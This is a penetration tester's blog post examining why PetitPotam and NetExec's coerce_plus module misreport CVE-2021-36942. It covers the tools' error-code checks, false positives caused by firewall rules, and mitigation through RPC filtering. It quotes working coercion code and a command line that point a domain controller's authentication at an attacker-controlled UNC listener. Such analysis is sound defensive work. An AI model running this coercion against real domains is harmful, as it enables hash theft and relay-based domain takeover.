
Note: This blog post was originally written back in 2025 and slightly modified to be posted here.
Introduction
The idea for this came from a suspicion I had myself about false positives being reported in pentest reports from multiple security consultancies (not to mention clients coming from such companies being upset), which led me to check how NetExec and the PetitPotam exploit worked and how these tools would classify something as vulnerable or not in order to determine how reliable they are.
As expected, it turns out that it is not possible to determine if a server is vulnerable by just running a scanner or even the exploit by itself. The only practical way to determine and ensure that an asset is affected would be to receive the domain controller’s password hash.
Source and Definition
CVE-2021-36942 is categorized as a vulnerability affecting the LSARPC interface and multiple functions of the EFS API. Microsoft has partially addressed the issue by blocking unauthenticated calls to the affected functions, such as EfsRpcOpenFileRaw. This is considered a partial fix, as authenticated calls will still work and can be abused for coercion in the same way.
Authentication coercion attacks are most often chained together with authentication relaying attacks, such as the AD CS ESC8 vulnerability that targets the web enrollment HTTP endpoint when NTLM is supported. When coercing domain controllers, it often results in domain escalation with low effort.
Attack ≠ Vulnerability
While checking the Microsoft documentation and understanding what causes the issue, it became clear that this is not really a vulnerability anymore, but rather an attack that exists since Windows is Windows.
Hash leaks and credential harvesting are not new methods, and have been previously found and documented by many different people. This is an issue that comes by design, and there is no practical way of patching or fixing it. This is due to Windows’ nature of authenticating to an asset when accessing remote resources, a behavior that was likely introduced for caching reasons.
This can be heavily controversial, and opinions will vary based on interpretation and perspective. The point is, the actual vulnerability has been mitigated (unauthenticated API call that results in authentication coercion), what remains is an attack that can still be performed when authenticated.
Exploitation
The attack is straightforward, simply requiring a low-privilege domain user to authenticate against the Domain Controller and a machine running a listener to capture/relay the incoming coerced authentication. The original exploit by topotam and NetExec’s coerce_plus module will be used for demonstration.

The attack consists of running the exploit against a DC, provided a valid pair of domain credentials, and pointing back to the attacker-controlled listener machine.
PetitPotam.py -u <user> -p <passwd> -d <domain> <listener> <domain_controller>

As a result, the listener will receive the coerced authentication packets, which can be used to extract the computer object’s hash or perform relaying.
Root Cause Analysis
In a blog post about PetitPotam and Defender for Identity, Microsoft points to the EFSRPC protocol as one of the affected components, and shows a visual representation of opening a file using EFS.

The EFSRPC Interface provides many RPC methods, details about their purpose and implementation can be found in Microsoft’s own documentation. Note that these terms are very confusing, as they are very similar and are mentioned in different places and circumstances (e.g. EFSRPC is mentioned by Microsoft as both an interface and a protocol). Below is a graphical representation of the whole thing, trying to make it easier to grasp.

Using EfsRpcOpenFileRaw as an example, the function’s declaration would be as follows.
long EfsRpcOpenFileRaw(
[in] handle_t binding_h,
[out] PEXIMPORT_CONTEXT_HANDLE* hContext,
[in, string] wchar_t* FileName,
[in] long Flags
);
The function should return a value of the long data type and accepts 4 arguments. The third argument, as per the documentation, points to an EFSRPC Identifier, which would essentially be a filename (as per the argument’s obvious name). This points to the file that will be read for backup or restoration purposes.
By design, a filename can have a local or remote format:
- C:\Users\Developer\Desktop\backup.zip
- \\192.168.1.3\folder\backup.zip
Since Windows will authenticate when accessing resources in a remote location, if this function is called with the attacker machine’s IP as the argument in a UNC path format, it will reach back to the machine and authenticate directly, leaking its password hash.
At a code level, this means that hash leak issues cannot be fixed by design unless UNC paths are not supported. This is more of a Windows design choice than the developer’s fault. If one can provide an UNC path and use that to point to a remote resource, Windows will authenticate to it and leak its hash.
The attack is therefore very simple. It comprises only an API or RPC method call, providing the attacker machine’s IP address as an argument.
// illustrative pseudocode
long hr;
handle_t binding;
PEXIMPORT_CONTEXT_HANDLE ctx;
wchar_t* fileName = L"\\\\192.168.1.3\\test\\Settings.ini"; // attacker-controlled IP address
long flags = 0;
hr = EfsRpcOpenFileRaw(binding, &ctx, fileName, flags);
The EfsRpcOpenFileRaw RPC method is used to open an encrypted object, and by doing this, Windows authenticates against the target server as aforementioned.
False Positives and Code Limitations
Now, having an understanding of the scenario and underlying details, let’s inspect the PetitPotam exploit and the NetExec module to understand how they operate.
By referring to the Python version of the exploit, the most relevant parts of the code can be identified. At first, the Network Data Representation (NDR) structure declarations, which are used by Impacket to serialize the RPC request and deserialize the response.
class EfsRpcOpenFileRaw(NDRCALL):
opnum = 0
structure = (
('fileName', WSTR),
('Flag', ULONG),
)
class EfsRpcOpenFileRawResponse(NDRCALL):
structure = (
('hContext', EXIMPORT_CONTEXT_HANDLE),
('ErrorCode', ULONG),
)The OPNUM mappings are Operation Numbers used to specify which method should be invoked, done after a client is bound to an RPC interface.
OPNUMS = {
0 : (EfsRpcOpenFileRaw, EfsRpcOpenFileRawResponse),
[...]
}
The actual method implementation, which builds the RPC request, crafts the arguments with the attacker-controlled UNC path, and interprets the result.
def EfsRpcOpenFileRaw(self, dce, listener):
print("[-] Sending EfsRpcOpenFileRaw!")
try:
request = EfsRpcOpenFileRaw()
request['fileName'] = '\\\\%s\\test\\Settings.ini\x00' % listener
request['Flag'] = 0
#request.dump()
resp = dce.request(request)
except Exception as e:
if str(e).find('ERROR_BAD_NETPATH') >= 0:
print('[+] Got expected ERROR_BAD_NETPATH exception!!')
print('[+] Attack worked!')
#sys.exit()
return None
if str(e).find('rpc_s_access_denied') >= 0:
print('[-] Got RPC_ACCESS_DENIED!! EfsRpcOpenFileRaw is probably PATCHED!')
print('[+] OK! Using unpatched function!')
print("[-] Sending EfsRpcEncryptFileSrv!")
try:
request = EfsRpcEncryptFileSrv()
request['FileName'] = '\\\\%s\\test\\Settings.ini\x00' % listener
resp = dce.request(request)
except Exception as e:
if str(e).find('ERROR_BAD_NETPATH') >= 0:
print('[+] Got expected ERROR_BAD_NETPATH exception!!')
print('[+] Attack worked!')
pass
else:
print("Something went wrong, check error status => %s" % str(e))
return None
#sys.exit()
Checking NetExec’s coerce_plus module, it is almost a direct copy of the original exploit code and presents the same behavior.
self.context.log.debug("Sending EfsRpcOpenFileRaw!")
try:
request = EfsRpcOpenFileRaw()
request["FileName"] = f"\\\\{listener}\\test\\Settings.ini\x00"
request["Flags"] = 0
dce.request(request)
except Exception as e:
if str(e).find("ERROR_BAD_NETPATH") >= 0:
self.context.log.debug("EfsRpcOpenFileRaw Success")
self.context.log.highlight(f"Exploit Success, {pipe}\\EfsRpcOpenFileRaw")
if not always_continue:
return True
elif str(e).find("rpc_s_access_denied") >= 0 or str(e).find("ERROR_INVALID_NAME") >= 0:
self.context.log.debug("Not Vulnerable")
else:
self.context.log.debug(f"Something went wrong, check error status => {e!s}")
return False
A few things can be highlighted from both code snippets:
- A request object is crafted, with the FileName and Flags fields changed to their respective values. The listener variable is wrapped around an UNC path and points to a file named “/test/Settings.ini”.
- The tool implements a check using the
ERROR_BAD_NETPATHlabel as a reference to determine if the target is vulnerable. - An additional check is implemented, this time using the
rpc_s_access_deniedlabel to determine that the target is not vulnerable.
The definition for these labels can be found in the Microsoft documentation:
ERROR_BAD_NETPATH: The network path was not found.
- Reference: System Error Codes – Microsoft
RPC_S_ACCESS_DENIED: Access for making the remote procedure call was denied.
- Reference: RPC Return Values
Let’s first go over the first label, which should return whenever something is not accessible or not found. This is not only a very generic value, as numerous different scenarios can lead to it, but it will also happen by design.
Consider the following scenarios for this value to be returned:
- The “/test/Settings.ini” file most probably does not exist on the machine running the listener or relay attack. The target will therefore always fail when trying to access the file.
- If an unreachable IP address is provided, the target will fail to access it, and the same value might be returned.
- This can happen due to different things, such as a firewall, network segmentation, or even when using an application layer VPN that forwards traffic.
- If the machine has an EDR solution deployed with active/aggressive settings, there is a good chance that the attack will fail and won’t reach the destination address.
That said, the RPC_S_ACCESS_DENIED label, which is used to determine that a target is not vulnerable, should also generate false positives:
- If anything fails and this access denied condition is triggered, it will return as not vulnerable. By performing pentests or even tests in a lab, one will encounter situations where the hash is leaked while the “not vulnerable ” error is being printed.
- When accessing a resource, the access denied value might be returned at some point, even if the hash was already leaked before the final interaction that triggered this condition.
This makes it clear that regardless of which condition the code gets into, it is not viable to determine if the target is vulnerable or not. Relying on these return values seems to be ineffective.
Practical Example of a False Positive
Let us go through an example scenario that generates false positives in both situations, to see how this would play out in practice (and to confirm the source is not voices from my head).
This demo will leverage a Windows Server 2022 machine.

This machine was fully updated, and the respective KBs that were supposed to patch the issue were manually installed. Those are the patches that are supposedly incomplete, as they still allow authenticated calls to the affected methods.
By simply setting up Responder on another machine on the same network, running the exploit works fine, and the hash is received.

Let us now inspect a scenario where firewall rules are in place, or assume there is segmentation and the exploit is pointing to a subnet where traffic is not allowed.
A firewall rule is added to block egress SMB traffic. This would still allow machines to authenticate against the server, but outgoing traffic would be blocked.

Given that the attack consists of coercing the target to access a resource over SMB, it would fail to do so, returning an error and not disclosing the hash.

The firewall rule that was added blocks access to the attacker-controlled machine, the target therefore cannot authenticate to it. Meanwhile, note that the exploit still displays “Attack worked!”, as the first one failed with access denied.
Of course, this approach is not viable to apply across the board in a live environment. It would demand time and attention to ensure nothing breaks while ensuring “untrusted” segments are being filtered, which is definitely not straightforward.
Moving to NetExec and its coerce_plus module, the same behavior is observed, which is expected as the code is pretty much the same. Despite the firewall rule blocking all traffic, the tool still displays the target as vulnerable to PetitPotam.

Situations with results the other way around can also be observed, where the exploit presents an error, but the hash is still disclosed.
Hardening and Proper Mitigation
When it comes to really mitigating the issue in terms of preventing the attack from succeeding, there are a few approaches that are viable:
- RPC filtering to block coercion interfaces at the RPC layer. This is the most viable mitigation for PetitPotam specifically.
- Disabling the service behind coercion whenever it is not needed (would not work for PetitPotam, as EFSRPC lives in LSASS).
- Reduce the network reachability of the RPC endpoints, which involves firewall and network segmentation. The idea is to ensure that untrusted subnets or hosts can’t reach the RPC listeners that are needed to trigger coercion.
- Deploy an Endpoint Detection and Response (EDR) solution to block exploitation attempts. As far as solutions go, I have seen positive results with CrowdStrike Falcon and Cortex. This is not a guaranteed-to-work method and requires fine-tuning, not as straightforward as simply installing the agent and leaving it there. I would suggest this as an additional protection layer rather than relying on it for mitigation.
For the sake of demonstration, below is shown how to apply RPC filtering, and the results one can observe.
The standard RPC filter for the MS-EFSRPC interfaces is listed below.
rpc
filter
add rule layer=um actiontype=block
add condition field=if_uuid matchtype=equal data=c681d488-d850-11d0-8c52-00c04fd90f7e
add filter
add rule layer=um actiontype=block
add condition field=if_uuid matchtype=equal data=df1941c5-fe89-4e79-bf10-463657acf44d
add filter
quit
These contents are saved to a file, and the filename is provided to the netsh utility.

After applying the filter, PetitPotam no longer works, and hashes are not disclosed.

It is worth noting that PetitPotam has a -pipe flag, which selects which named pipe the tool connects to in order to reach the EFSRPC interface. By default, the lsarpc pipe is chosen, but there are a few others available. It is worth noting at this point that in newer Windows versions (e.g. Server 2025), the lsarpc pipe may not be exposed on plain default installs.
By supplying -pipe all, one can instruct the tool to attempt to use all the available named pipes. Below is shown this being performed, which does not yield any results. Hashes are not disclosed.
PetitPotam.py -u <user> -p <passwd> -d <domain> <listener> <domain_controller> -pipe all

As a conclusion, the two UUIDs referenced in the RPC filters cover every pipe the tool attempts to leverage. All pipe options bind to c681d488[…], while efsr uses df1941c5[…].
Closing Thoughts
At this point, it is clear that relying on the exploit or tool to report this as a vulnerability is problematic:
- As a pentester, relying on a print statement does not make sense. There should be additional effort put into reviewing the tool/exploit. The whole point of this post was that I saw multiple security consultancies reporting this in their reports, causing clients to be confused while not being able to fix the issue.
- The issue was indeed patched, authenticated calls can still be made but are considered an accepted risk. This is somewhat acceptable as it’s a design choice implemented at the OS level, which would be very hard to modify.
- Relying on generic return values to determine something is vulnerable will produce inaccurate results.
References
- AD Compromise via PetitPotam – CERT
- PetitPotam? Microsoft Defender for Identity has it covered! – Microsoft Security Community Blog
- Mitigating NTLM Relay Attacks on Active Directory Certificate Services (AD CS) – Microsoft
- PetitPotam Exploits by topotam – GitHub
- NetExec’s coerce_plus Module – GitHub